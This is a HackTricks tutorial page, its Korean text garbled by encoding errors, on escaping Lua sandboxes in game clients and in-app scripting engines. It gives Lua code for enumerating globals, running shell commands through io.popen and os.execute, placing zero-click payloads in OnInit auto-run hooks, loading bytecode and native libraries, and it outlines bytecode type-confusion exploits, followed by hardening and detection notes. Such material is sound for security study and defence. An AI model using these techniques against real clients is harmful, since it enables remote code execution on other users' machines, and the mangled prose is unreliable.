Bypass Lua sandboxes (embedded VMs, game clients)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ํ์ด์ง๋ ์ ํ๋ฆฌ์ผ์ด์ (ํนํ game clients, plugins, ๋๋ in-app scripting engines)์ ๋ด์ฅ๋ Lua โsandboxesโ๋ฅผ ์ด๊ฑฐํ๊ณ ํ์ถํ๋ ์ค์ฉ์ ์ธ ๊ธฐ๋ฒ๋ค์ ๋ชจ์๋ก๋๋ค. ๋ง์ ์์ง์ด ์ ํ๋ Lua ํ๊ฒฝ์ ๋ ธ์ถํ์ง๋ง, ๋ฐ์ดํธ์ฝ๋ ๋ก๋๊ฐ ๋ ธ์ถ๋๋ ๊ฒฝ์ฐ ์์ ๋ช ๋ น ์คํ์ด๋ ๋ค์ดํฐ๋ธ ๋ฉ๋ชจ๋ฆฌ ์์๊น์ง ๊ฐ๋ฅํ ๊ฐ๋ ฅํ globals์ ์ ๊ทผํ ์ ์๋๋ก ๋จ๊ฒจ๋๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.
Key ideas:
- VM์ ์ ์ ์๋ ํ๊ฒฝ์ผ๋ก ์ทจ๊ธํ์ธ์: _G๋ฅผ ์ด๊ฑฐํ์ฌ ์ด๋ค ์ํํ primitives์ ์ ๊ทผ ๊ฐ๋ฅํ์ง ํ์ธํฉ๋๋ค.
- stdout/print์ด ์ฐจ๋จ๋ ๊ฒฝ์ฐ, ๊ฒฐ๊ณผ๋ฅผ ๊ด์ฐฐํ๊ธฐ ์ํด in-VM UI/IPC ์ฑ๋์ ์ถ๋ ฅ ์ฑํฌ๋ก ์ ์ฉํ์ธ์.
- io/os๊ฐ ๋ ธ์ถ๋์ด ์์ผ๋ฉด, ๋ณดํต ์ง์ ๋ช ๋ น ์คํ(io.popen, os.execute)์ด ๊ฐ๋ฅํฉ๋๋ค.
- load/loadstring/loadfile์ด ๋ ธ์ถ๋์ด ์์ผ๋ฉด, ์กฐ์๋ Lua bytecode ์คํ์ผ๋ก ์ผ๋ถ ๋ฒ์ ์์ ๋ฉ๋ชจ๋ฆฌ ์์ ์ฑ์ด ๋ฌด๋์ง ์ ์์ต๋๋ค (โค5.1์ verifier๋ ์ฐํ ๊ฐ๋ฅ; 5.2๋ verifier๋ฅผ ์ ๊ฑฐ), ์ด๋ฅผ ํตํด ๊ณ ๊ธ ์ต์คํ๋ก์์ด ๊ฐ๋ฅํด์ง๋๋ค.
Enumerate the sandboxed environment
- Dump the global environment to inventory reachable tables/functions:
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
local function dump_globals(out)
out("=== DUMPING _G ===")
for k, v in pairs(_G) do
out(tostring(k) .. " = " .. tostring(v))
end
end
- print()์ด ์ฌ์ฉ ๋ถ๊ฐ๋ฅํ๋ฉด in-VM ์ฑ๋์ ์ฌ์ฌ์ฉํ์ธ์. MMO housing script VM์ ์๋ก, ์ฑํ ์ถ๋ ฅ์ ์ฌ์ด๋ ํธ์ถ ์ดํ์๋ง ๋์ํฉ๋๋ค; ๋ค์์ ์ ๋ขฐํ ์ ์๋ ์ถ๋ ฅ ํจ์๋ฅผ ๊ตฌ์ถํ๋ ์์ ๋๋ค:
-- Build an output channel using in-game primitives
local function ButlerOut(label)
-- Some engines require enabling an audio channel before speaking
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
return function(msg)
H.Say(label or 1, msg)
end
end
function OnMenu(menuNum)
if menuNum ~= 3 then return end
local out = ButlerOut(1)
dump_globals(out)
end
๋์์ ๋ํด ์ด ํจํด์ ์ผ๋ฐํํ๋ผ: ๋ฌธ์์ด์ ํ์ฉํ๋ ๋ชจ๋ textbox, toast, logger, ๋๋ UI callback์ reconnaissance๋ฅผ ์ํ stdout ์ญํ ์ ํ ์ ์๋ค.
io/os๊ฐ ๋ ธ์ถ๋ ๊ฒฝ์ฐ ์ง์ ์ ์ธ command execution
sandbox๊ฐ ์ฌ์ ํ ํ์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ธ io or os๋ฅผ ๋ ธ์ถํ๊ณ ์๋ค๋ฉด, ์๋ง ์ฆ์ command execution์ด ๊ฐ๋ฅํ ๊ฒ์ด๋ค:
-- Windows example
io.popen("calc.exe")
-- Cross-platform variants depending on exposure
os.execute("/usr/bin/id")
io.popen("/bin/sh -c 'id'")
์ฐธ๊ณ :
- ์คํ์ client ํ๋ก์ธ์ค ๋ด๋ถ์์ ๋ฐ์ํฉ๋๋ค; ์ธ๋ถ ๋๋ฒ๊ฑฐ๋ฅผ ์ฐจ๋จํ๋ ๋ง์ anti-cheat/antidebug ๊ณ์ธต์ in-VM process ์์ฑ์ ๋ง์ง ๋ชปํฉ๋๋ค.
- ๋ํ ํ์ธํ ๊ฒ: package.loadlib (์์์ DLL/.so ๋ก๋ฉ), require with native modules, LuaJITโs ffi (์กด์ฌํ๋ ๊ฒฝ์ฐ), ๊ทธ๋ฆฌ๊ณ debug library (VM ๋ด๋ถ์์ ๊ถํ ์์น์ ์ผ์ผํฌ ์ ์์).
Zero-click triggers via auto-run callbacks
ํธ์คํธ ์ ํ๋ฆฌ์ผ์ด์ ์ด clients์ ์คํฌ๋ฆฝํธ๋ฅผ ํธ์ํ๊ณ VM์ด auto-run hooks๋ฅผ ๋ ธ์ถํ๋ค๋ฉด(์: OnInit/OnLoad/OnEnter), ์คํฌ๋ฆฝํธ๊ฐ ๋ก๋๋์๋ง์ drive-by compromise๋ฅผ ์ํด payload๋ฅผ ๊ทธ๊ณณ์ ๋ฐฐ์นํ์ธ์:
function OnInit()
io.popen("calc.exe") -- or any command
end
Any equivalent callback (OnLoad, OnEnter, etc.) generalizes this technique when scripts are transmitted and executed on the client automatically.
Recon ๋์ ์ฐพ์์ผ ํ ์ํํ ํ๋ฆฌ๋ฏธํฐ๋ธ
During _G enumeration, specifically look for:
- io, os: io.popen, os.execute, ํ์ผ I/O, ํ๊ฒฝ ์ ๊ทผ.
- load, loadstring, loadfile, dofile: ์์ค ๋๋ ๋ฐ์ดํธ์ฝ๋ ์คํ; ์ ๋ขฐํ ์ ์๋ ๋ฐ์ดํธ์ฝ๋ ๋ก๋ฉ์ ํ์ฉ.
- package, package.loadlib, require: ๋์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ก๋ฉ ๋ฐ ๋ชจ๋ ์ธํฐํ์ด์ค.
- debug: setfenv/getfenv (โค5.1), getupvalue/setupvalue, getinfo, ๋ฐ ํ .
- LuaJIT-only: ffi.cdef, ffi.load to call native code directly.
Minimal usage examples (if reachable):
-- Execute source/bytecode
local f = load("return 1+1")
print(f()) -- 2
-- loadstring is alias of load for strings in 5.1
local bc = string.dump(function() return 0x1337 end)
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
print(g())
-- Load native library symbol (if allowed)
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
local foo = mylib()
์ ํ์ ๊ถํ ์์น: Lua bytecode ๋ก๋ ์ ์ฉ
load/loadstring/loadfile๊ฐ ์ ๊ทผ ๊ฐ๋ฅํ์ง๋ง io/os๊ฐ ์ ํ๋ ๊ฒฝ์ฐ, ์กฐ์๋ Lua bytecode๋ฅผ ์คํํ๋ฉด ๋ฉ๋ชจ๋ฆฌ ๋ ธ์ถ ๋ฐ ์์ ํ๋ฆฌ๋ฏธํฐ๋ธ๋ก ์ด์ด์ง ์ ์์ต๋๋ค. ์ฃผ์ ๋ด์ฉ:
- Lua โค 5.1์ ์๋ ค์ง ์ฐํ๊ฐ ์๋ bytecode verifier๋ฅผ ํฌํจํ๊ณ ์์์ต๋๋ค.
- Lua 5.2๋ verifier๋ฅผ ์์ ํ ์ ๊ฑฐํ์ต๋๋ค(๊ณต์ ์ ์ฅ: ์ ํ๋ฆฌ์ผ์ด์ ์ precompiled chunks๋ฅผ ๊ฑฐ๋ถํด์ผ ํจ). ๋ฐ๋ผ์ bytecode loading์ด ๊ธ์ง๋์ง ์์ผ๋ฉด ๊ณต๊ฒฉ ํ๋ฉด์ด ๋์ด์ง๋๋ค.
- ์ผ๋ฐ์ ์ธ ์ํฌํ๋ก: in-VM ์ถ๋ ฅ์ผ๋ก ํฌ์ธํฐ๋ฅผ leakํ ๋ค, bytecode๋ฅผ ๋ง๋ค์ด type confusions(์: FORLOOP ์ฃผ๋ณ์ด๋ ๋ค๋ฅธ opcodes ๊ด๋ จ)๋ฅผ ์ ๋ฐํ๊ณ , ๊ทธ๋ค์ arbitrary read/write๋ native code execution์ผ๋ก ์ ํํฉ๋๋ค.
์ด ๊ฒฝ๋ก๋ engine/version-specificํ๋ฉฐ RE๊ฐ ํ์ํฉ๋๋ค. ์ฌ์ธต ๋ถ์, exploitation primitives ๋ฐ ๊ฒ์์์์ ์์ ๊ฐ์ ฏ์ ์ฐธ๊ณ ๋ฌธํ์ ์ฐธ์กฐํ์ธ์.
ํ์ง ๋ฐ ๊ฐํ ๋ ธํธ (์๋น์์ฉ)
- Server side: ์ฌ์ฉ์ ์คํฌ๋ฆฝํธ๋ฅผ ๊ฑฐ๋ถํ๊ฑฐ๋ ์ฌ์์ฑ; ์์ ํ API๋ฅผ allowlist; io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi๋ฅผ ์ ๊ฑฐํ๊ฑฐ๋ ๋น ๋ฐ์ธ๋ฉ์ผ๋ก ๋์ฒด.
- Client side: ์ต์ํ๋ _ENV๋ก Lua ์คํ; bytecode loading ๊ธ์ง; ์๊ฒฉํ bytecode verifier ๋๋ ์๋ช ๊ฒ์ฌ ์ฌ๋์ ; ํด๋ผ์ด์ธํธ ํ๋ก์ธ์ค์์์ ํ๋ก์ธ์ค ์์ฑ ์ฐจ๋จ.
- Telemetry: script load ์งํ gameclient โ ์์ ํ๋ก์ธ์ค ์์ฑ์ ๋ํด ๊ฒฝ๋ณด; UI/chat/script ์ด๋ฒคํธ์ ์๊ด๊ด๊ณ ๋ถ์.
References
- This House is Haunted: a decade old RCE in the AION client (housing Lua VM)
- Bytecode Breakdown: Unraveling Factorioโs Lua Security Flaws
- lua-l (2009): Discussion on dropping the bytecode verifier
- Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


